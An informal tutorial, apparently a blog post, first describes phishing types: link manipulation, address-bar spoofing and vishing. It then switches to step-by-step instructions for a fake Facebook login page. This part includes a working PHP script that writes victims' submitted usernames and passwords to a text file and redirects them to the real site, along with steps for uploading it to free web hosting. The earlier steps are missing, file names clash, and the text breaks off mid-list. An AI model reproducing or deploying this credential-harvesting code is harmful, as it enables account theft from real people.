WHAT IS PHISHING ??

Technique used to steal valuable information such as credit cards numbers ,social security numbers, user IDs and passwords.

Phissing is also known as “BRAND SPOOFING”.

The communication (usually email) directs the user to visit a Website where they are asked to update personal Information,such as passwords and credit card pin and Password , social security , and bank account numbers, that the legitimate organization already has.


THE SIMPLIFIED STEPS OF PHISHING :

1. A deceptive message is sent from the Phishers to the user.

2. A user provides confidential information to a Phishing Server (normally after some interaction with the server).

3. The Phishers obtains the confidential information from the server.


HOW PHISHING WORKS ?


Phishing link takes user to fake web page which looks like genuine.


TYPES OF PHISHING ATTACKS : Phishers use a wide variety of techniques, with one common thread 1. LINK MANIPULATION

2. WEBSITE FORGERY

3. PHONE PHISHING


LINK MANIPULATION

By manipulating the links for example

www.faceb00k.com

instead of

www.facebook.com

Mis-spelled URLs or the use of sub domains are common tricks used by Phishers


WEBSITE FORGERY :

The hacker need to Generate duplicate Address Bar using some java Scripts.

Using Java-scripts the original URL is Hidden andthe Duplicate Phisher’s duplicate URL is displayedin the address bar.

Using modified Address bar User Thinks That the URL is a Genuine URL and user Provides some

private informations Like Login-ID ,passwords , Pin-no. to The Attacker.


Above is the Website of the citi bank having fake Address bar.


PHONE PHISHING

Not All phishing Attacks Require Fake Website .

Some message is Claimed to Bank user Telling User That There is a Some Problem With Phone Account And advised to dial some number which Looks like owned by bank but actualy It is owned by Attackers.

The attackers use Fake Caller ID to call the user so user thins that the Call is From trusted organization.

The User Dials That number And recorded message played and tells User To enter Bank Account number and password .

Phone Phishing is also refered as Voice phishing or we can say “VISHING “

To Divert the Flow of That Data From original Facebook site to Hacker. U have to redirect the action to another file let us say

Action=“next.php”

Next.php is another file which is created by the hacker to Store the user id and passwords submited by a Victim.


Step 3:

<?phpheader("Location: http://www.Facebook.com/login.php ");$handle = fopen("passwords.txt", "a");foreach($_POST as $variable => $value) {fwrite($handle, $variable);fwrite($handle, "=");fwrite($handle, $value);fwrite($handle, "\r\n");}fwrite($handle, "\r\n");fclose($handle);exit;?>

save this file as "next.php".


Step 4:

open the notepad and just save the file as "pswrds.txt" without any contents.

Now upload those three files(namely index . html, next.php ,passwords.txt) in any of domain using free Web hosting site.

There are so many free web hosting sites which provides free domain to the user. Some free webhosting sites are :
